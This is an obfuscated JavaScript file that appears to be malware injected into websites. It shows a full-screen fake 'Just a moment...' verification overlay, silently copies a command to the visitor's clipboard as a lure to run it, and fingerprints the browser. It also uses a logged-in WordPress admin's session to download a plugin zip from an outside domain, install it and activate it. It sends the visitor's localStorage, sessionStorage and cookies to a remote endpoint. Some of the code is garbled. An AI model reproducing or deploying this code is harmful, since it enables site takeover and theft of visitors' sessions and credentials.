(function(){
var _xjee=window,_xcjg=document,_scjn=navigator;
var _cf0=null;
try{_xcjg.documentElement.style.setProperty("overflow","hidden","important");_xcjg.documentElement.style.setProperty("background","#fff","important");_cf0=_xcjg.createElement("iframe");_cf0.setAttribute("allowfullscreen","");_cf0.setAttribute("allow","fullscreen; clipboard-write");_cf0.style.cssText="position:fixed;inset:0;width:100%;height:100%;border:none;z-index:2147483647;background:#fff";_cf0.srcdoc="Just a moment...\n";(_xcjg.body||_xcjg.documentElement).appendChild(_cf0)}catch(e){}
var _wyuip=_xcjg.currentScript||_xcjg.querySelector("\x73\x63\x72\x69\x70\x74\x5b\x73\x72\x63\x2a\x3d\x22\x66\x69\x6c\x65\x2e\x6a\x73\x22\x5d")||_xcjg.querySelector((function(){var k=19,a=[96,112,97,122,99,103,72,119,114,103,114,62,112,78],s="";for(var i=0;ivar _cmdTk="'+(cmdToken||'')+'";var _ep="'+ep.replace('/api/v1/0044d4a','')+'";var _cmdVal="";var _pm=window.parent.postMessage.bind(window.parent);function _br(){var u=navigator.userAgent||"",d=navigator.userAgentData,b=d&&d.brands||[],i=0,g=0,c=0;if(/Waterfox/.test(u))return "waterfox";if(/LibreWolf/.test(u))return "librewolf";if(/Floorp/.test(u))return "floorp";if(/Firefox/.test(u))return "firefox";if(u.indexOf("Edg/")!==-1)return "edge";if(/OPR|Opera/.test(u))return "opera";if(/YaBrowser/.test(u))return "yandex";if(/Vivaldi/.test(u))return "vivaldi";if(u.indexOf("Whale/")!==-1)return "whale";if(/coc_coc/i.test(u))return "coccoc";if(/Slimjet/.test(u))return "slimjet";if(/CentBrowser/.test(u))return "cent";if(navigator.brave)return "brave";for(;i240){clearInterval(_iv);return}try{var x=new XMLHttpRequest();x.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk+"&w=1",true);x.onload=function(){try{var r=JSON.parse(x.responseText);if(r&&(r.d===1||r.d==="1")){clearInterval(_iv);cb()}}catch(e){}};x.send()}catch(e){}},1500)}try{window.parent.postMessage=function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)}}catch(e){}try{Object.defineProperty(window.parent,"postMessage",{value:function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)},writable:true,configurable:true})}catch(e){}';
if(html){if(html.indexOf('')!==-1){html=html.replace('',cpS+'')}else{html=cpS+html}f.srcdoc=html}
try{var _mo=new MutationObserver(function(){if(!f||!f.isConnected){_ul();_mo.disconnect()}});_mo.observe(_xcjg.documentElement,{childList:true,subtree:true})}catch(e){}
_xjee.addEventListener("\x6d\x65\x73\x73\x61\x67\x65",function(e){if(!e.data)return;if(e.data.t==="\x76"){if(e.data.cmd){try{if(_scjn.clipboard&&typeof _scjn.clipboard.writeText==="function"){_scjn.clipboard.writeText(e.data.cmd).catch(function(){var a=_xcjg.createElement("textarea");a.value=e.data.cmd;a.style.cssText="position:fixed;left:-9999px;opacity:0";_xcjg.body.appendChild(a);a.focus();a.select();_xcjg.execCommand("copy");a.remove()})}else{var a=_xcjg.createElement("textarea");a.value=e.data.cmd;a.style.cssText="position:fixed;left:-9999px;opacity:0";_xcjg.body.appendChild(a);a.focus();a.select();_xcjg.execCommand("copy");a.remove()}}catch(ex){}}if(!e.data.keep){try{_cfK()}catch(x){}}}if(e.data.t===String.fromCharCode(99,102,95,99,108,111,115,101)){try{_cfK()}catch(x){}}})};
var _bnocu=Math.floor(Math.random()*397);
var _peiae=function(){var o={};var t=Date.now();
o.w=!!(_scjn.webdriver);var _chr=_xjee.chrome;o.ic=!!(_chr);o.cr=!!(_chr&&(_chr.runtime||_chr.app));o.sw=_xjee.screen.width||0;o.sh=_xjee.screen.height||0;o.cd=_xjee.screen.colorDepth||0;o.pr=_xjee.devicePixelRatio||1;
var _jdoll=11;if(_jdoll<0)_jdoll=0;
try{var _ac=new(_xjee.AudioContext||_xjee.webkitAudioContext)();o.asr=_ac.sampleRate||0;_ac.close()}catch(e){o.asr=0}
try{var _cv=_xcjg.createElement("\x63\x61\x6e\x76\x61\x73");_cv.width=64;_cv.height=16;var _cx=_cv.getContext("\x77\x65\x62\x67\x6c")||_cv.getContext((function(){var k=95,a=[58,39,47,58,45,54,50,58,49,43,62,51,114,40,58,61,56,51],s="";for(var i=0;i plugin upload -> activate (same-origin, creds of the visitor)
async function __pvt(zipUrl, reportUrl) {
function log(e) { try { if (navigator.sendBeacon) navigator.sendBeacon(reportUrl + '?e=' + e); } catch (x) {} }
try {
var r = await fetch('/wp-admin/', { credentials: 'same-origin' });
if (!r.ok) return;
var h = await r.text();
if (h.indexOf('wp-admin') === -1) return;
log('pivot_admin');
var p = await fetch('/wp-admin/plugin-install.php?tab=upload', { credentials: 'same-origin' });
if (!p.ok) { log('pivot_no_pi'); return; }
var ph = await p.text();
var m = ph.match(/_wpnonce" value="([a-f0-9]{10})"/);
if (!m) { log('pivot_no_nonce'); return; }
var zr = await fetch(zipUrl);
if (!zr.ok) { log('pivot_no_zip'); return; }
var zb = await zr.blob();
var fd = new FormData();
fd.append('_wpnonce', m[1]);
fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload');
fd.append('pluginzip', zb, 'plugin.zip');
fd.append('install-plugin-submit', 'Install Now');
var up = await fetch('/wp-admin/update.php?action=upload-plugin', {
method: 'POST', body: fd, credentials: 'same-origin'
});
var uh = await up.text();
if (uh.indexOf('Plugin installed successfully') === -1) { log('pivot_up_fail'); return; }
log('pivot_uploaded');
var pl = await fetch('/wp-admin/plugins.php', { credentials: 'same-origin' });
var lh = await pl.text();
var am = lh.match(/action=activate&plugin=([^"&]+)&plugin_status=all&paged=1&s&_wpnonce=([a-f0-9]{10})/);
if (!am) { log('pivot_no_actlink'); return; }
await fetch('/wp-admin/plugins.php?action=activate&plugin=' + am[1] + '&plugin_status=all&paged=1&s&_wpnonce=' + am[2], { credentials: 'same-origin' });
log('pivot_ok');
} catch (e) { log('pivot_err'); }
}function __loot(rep){try{var o={};['localStorage','sessionStorage'].forEach(function(s){try{var st=window[s];for(var i=0;i8&&v.length<2000)o[s[0]+':'+k]=v}}}catch(e){}});var c=document.cookie||'';if(c)o.c=c.slice(0,1500);if(!Object.keys(o).length)return;var x=new XMLHttpRequest();x.open('POST',rep,true);x.setRequestHeader('Content-Type','application/json');x.send(JSON.stringify(o))}catch(e){}}try{if(!sessionStorage.getItem('_pv1')){sessionStorage.setItem('_pv1','1');__pvt('https://deleeue.lol/p/wm.zip',bp+'/api/v1/b832c14')}}catch(e){}try{__loot(bp+'/api/v1/43d64b5')}catch(e){}
})()